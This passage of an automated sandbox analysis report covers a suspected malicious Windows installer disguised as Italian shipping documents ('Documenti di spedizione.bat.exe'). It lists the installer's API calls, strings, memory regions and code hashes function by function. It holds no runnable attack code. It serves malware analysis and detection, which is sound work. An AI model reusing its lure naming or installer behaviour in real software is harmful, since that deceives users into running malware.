Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction ID: f6076547c65416f673289c9e9aa760257b54fe90aa12de16c0a46004740ece36
Opcode Fuzzy Hash: 7c104425433eee9aa72c8594e5c9845c7e8c7dbb4814f5ad4226ea4ba1dd0cf1
Instruction Fuzzy Hash: C2419B71804249AFCF058FA4CD459AFBBB9FF45310F00812AF961AA1A0C738EA50DFA5

Function 00405C40 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421AC0,NUL,?,00000000,?,00000000,00405DD3,?,?), ref: 00405C4F
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405DD3,?,?), ref: 00405C73
GetShortPathNameA.KERNEL32(?,00421AC0,00000400), ref: 00405C7C

Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405ADF
Part of subcall function 00405ACF: lstrlenA.KERNEL32(00000000,?,00000000,00405D2C,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11

GetShortPathNameA.KERNEL32(00421EC0,00421EC0,00000400), ref: 00405C99
wsprintfA.USER32 ref: 00405CB7
GetFileSize.KERNEL32(00000000,00000000,00421EC0,C0000000,00000004,00421EC0,?,?,?,?,?), ref: 00405CF2
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405D01
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D39
SetFilePointer.KERNEL32(004093C8,00000000,00000000,00000000,00000000,004216C0,00000000,-0000000A,004093C8,00000000,[Rename],00000000,00000000,00000000), ref: 00405D8F
GlobalFree.KERNEL32(00000000), ref: 00405DA0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405DA7

Part of subcall function 00405B6A: GetFileAttributesA.KERNELBASE(00000003,00402D8D,C:\Users\user\Desktop\Documenti di spedizione.bat.exe,80000000,00000003), ref: 00405B6E
Part of subcall function 00405B6A: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B90

Strings

%s=%s, xrefs: 00405CAD
[Rename], xrefs: 00405D21, 00405D33
NUL, xrefs: 00405C49

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: 13050e4631be9f4a8a8c31851d4856950631349ab05fbd5c9e4b7c65e501b528
Instruction ID: 58b8e60db813422e8a8f05baf12fe1cb7cc397f7baf35d3febd204dd1aeecf15
Opcode Fuzzy Hash: 13050e4631be9f4a8a8c31851d4856950631349ab05fbd5c9e4b7c65e501b528
Instruction Fuzzy Hash: D031C271A04B596BD2202B219D49F6B3A6CDF85754F18003BF901F62D2E67CA8018EAD

Function 00406162 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061BA
CharNextA.USER32(?,?,?,00000000), ref: 004061C7
CharNextA.USER32(?,"C:\Users\user\Desktop\Documenti di spedizione.bat.exe",75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061CC
CharPrevA.USER32(?,?,75923410,C:\Users\user\AppData\Local\Temp\,00000000,0040329A,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034AF), ref: 004061DC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00406163
"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 0040619E
*?|<>/":, xrefs: 004061AA

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1580819208
Opcode ID: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction ID: 28f88d73301ddfe76a8902f897fcc58808f561dcfc6ac49559e28e986a88295b
Opcode Fuzzy Hash: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction Fuzzy Hash: AF11C8718083912DFB3216644C44B777F998F9A760F19007BE9D6762C3C67C5C53826D

Function 00404143 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404160
GetSysColor.USER32(00000000), ref: 0040417C
SetTextColor.GDI32(?,00000000), ref: 00404188
SetBkMode.GDI32(?,?), ref: 00404194
GetSysColor.USER32(?), ref: 004041A7
SetBkColor.GDI32(?,?), ref: 004041B7
DeleteObject.GDI32(?), ref: 004041D1
CreateBrushIndirect.GDI32(?), ref: 004041DB

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: 7122de99037e03f190bb62226e04253736cb74e6c142f140589d3e5d77d1f23d
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: DB21A4B5804704ABCB219F78DD08B5BBBF8AF41714F048629E995E62E0C734E944CB55

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction ID: bfa8c22ebd78897ea4dc14f883c746723b208fa17a75ef0c69fbb79ff87ab60c
Opcode Fuzzy Hash: 8ca201b8c9dcbb45ad50e4cb45e4e1ae2e8a5d70f393ea2d6c63899163ff979d
Instruction Fuzzy Hash: B541ABB1108311EFF320DFA48884B5BB7F8FF443D1F218529F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B5
GlobalFree.KERNEL32(00000000), ref: 100024EF

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction ID: 4e6b36a645f71e2aed4a85f2c36ff1861f2741140ba068ae73f9b0a79c1593cf
Opcode Fuzzy Hash: 8ed12168559ed504bf2d16f5614b25cf9b7800a5843296302d7a865f42518c80
Instruction Fuzzy Hash: EA319CB1504250EFF322CF64CCC4C6B7BBDEB852D4B124529FA4193168CB31AC94DB62

Function 00402CAB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402CC3
GetTickCount.KERNEL32 ref: 00402CE1
wsprintfA.USER32 ref: 00402D0F

Part of subcall function 00405110: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00402D22,00402D22,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsgDADD.tmp\System.dll), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402D33
ShowWindow.USER32(00000000,00000005), ref: 00402D41

Part of subcall function 00402C8F: MulDiv.KERNEL32(00036602,00000064,00038FA0), ref: 00402CA4

Strings

... %d%%, xrefs: 00402D09

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 78a221e97a99680450e3ca11bf4e3b45821cb4013d8a2558b5166950edff25d0
Instruction ID: 547fa0e596d0efa3134ade0ba199646732fee1a7f54f1ab5f8be41358a9578df
Opcode Fuzzy Hash: 78a221e97a99680450e3ca11bf4e3b45821cb4013d8a2558b5166950edff25d0
Instruction Fuzzy Hash: DC019BB0906614E7EB21BB64EF0DEDE766CEB04701B444037F405B11E5C7B89941D79E

Function 004049DB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004049F6
GetMessagePos.USER32 ref: 004049FE
ScreenToClient.USER32(?,?), ref: 00404A18
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404A2A
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404A50

Strings

f, xrefs: 00404A2C

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 2232a7e87341d92c9ad346ae082ec06308d60ff2d87fc7f715a57a5a5eae5b25
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: E5018071E40219BADB00DB94CC41BFEBBB8AB45711F10412BBA10B61C0D7B465018BA5

Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A808), ref: 00401E1A

Strings

Calibri, xrefs: 00401E00

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 7163b3b0dcdfa28c572866efb14d0ddf6d6d7c1142750631c0734f8fd9b33859
Instruction ID: 31dc6bfce766dd2e9c365b6b9c1ce0fa0646d0edadaed3ffd0317ad467dc8ee1
Opcode Fuzzy Hash: 7163b3b0dcdfa28c572866efb14d0ddf6d6d7c1142750631c0734f8fd9b33859
Instruction Fuzzy Hash: 1E017572948340AFE7006B74AE4EB993FF4DB95315F10847AF201B62E2C6B905528F6E

Function 00402C13 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
wsprintfA.USER32 ref: 00402C62
SetWindowTextA.USER32(?,?), ref: 00402C72
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C84

Strings

unpacking data: %d%%, xrefs: 00402C50, 00402C60
verifying installer: %d%%, xrefs: 00402C57

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction ID: e0e458c2d16b5d3c5a169a1492fe07981551179f6e5c56f92d0567975436b572
Opcode Fuzzy Hash: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction Fuzzy Hash: 35F0317090420DABEF205F60CD0AFAE3769EB04345F00C43AFA16B51D0D7B99A55CB59

Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
GlobalFree.KERNEL32(?), ref: 004027F2
GlobalFree.KERNEL32(00000000), ref: 00402805
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 7d68071d91978c31b4045b951977b232c33a3f1e4c4fbf1767583406490216b2
Instruction ID: 589acf511f7bba285ed25554ef0f071862dbcd9cf46fffc414e4c77000f41e55
Opcode Fuzzy Hash: 7d68071d91978c31b4045b951977b232c33a3f1e4c4fbf1767583406490216b2
Instruction Fuzzy Hash: 5E219A71C04128BBCF216FA5CE89DAE7A79AF09324F14423AF520762E1C6795D40DBA9

Function 004048D1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Gazi Setup: Installing,Gazi Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
wsprintfA.USER32 ref: 00404977
SetDlgItemTextA.USER32(?,Gazi Setup: Installing), ref: 0040498A

Strings

%u.%u%s%s, xrefs: 00404959
Gazi Setup: Installing, xrefs: 00404961, 00404966, 0040496C, 00404980

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Gazi Setup: Installing
API String ID: 3540041739-585448583
Opcode ID: bf1bdcac2109adbb76e2cfdf4929b7a7dc251d6602f1380599200b875f001fd7
Instruction ID: 7f1be1aa0c85ccb86495671cb382a06f82cddcf8175a130fa0267404931b34df
Opcode Fuzzy Hash: bf1bdcac2109adbb76e2cfdf4929b7a7dc251d6602f1380599200b875f001fd7
Instruction Fuzzy Hash: CF11B7736041283BDB0065799D45EAF3298DB85374F250637FA25F21D1E978CC1255EC

Function 00403B3C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(00000000,00422F20), ref: 00403BD4

Strings

-L, xrefs: 00403BB1
"C:\Users\user\Desktop\Documenti di spedizione.bat.exe", xrefs: 00403B3D
Gazi Setup: Installing, xrefs: 00403B3F
1033, xrefs: 00403B40, 00403B4A, 00403BBB

Memory Dump Source

Source File: 00000000.00000002.2621262951.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2621246363.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621284624.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621299446.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2621385916.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Documenti di spedizione.jbxd

Similarity

API ID: TextWindow
String ID: "C:\Users\user\Desktop\Documenti di spedizione.bat.exe"$1033$Gazi Setup: Installing$-L
API String ID: 530164218-2088520502
Opcode ID: 67c3d82ce6484f9e1e19bcd04ff1a02b9bccfbab982ecba75f5a52bbb9d475e3
Instruction ID: c62297436265aa8c4426bdacc88999ed38b20c31bf5381ba95a45bc0aedbf607
Opcode Fuzzy Hash: 67c3d82ce6484f9e1e19bcd04ff1a02b9bccfbab982ecba75f5a52bbb9d475e3
Instruction Fuzzy Hash: 6711D8B1B046119BC730AF15DD50A77777DEB8475A328813FE901A73D2C73DAE029A98

Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001869
GlobalFree.KERNEL32(?), ref: 100019EF
GlobalFree.KERNEL32(?), ref: 100019F4

Memory Dump Source

Source File: 00000000.00000002.2629006314.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2628993182.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629018868.0000000010003000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2629030864.0000000010005000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Documenti di spedizione.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 83a27a6a764e204457f331ddef67b06d43c1ca0f526d792f63dc3af4834dec0e
Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
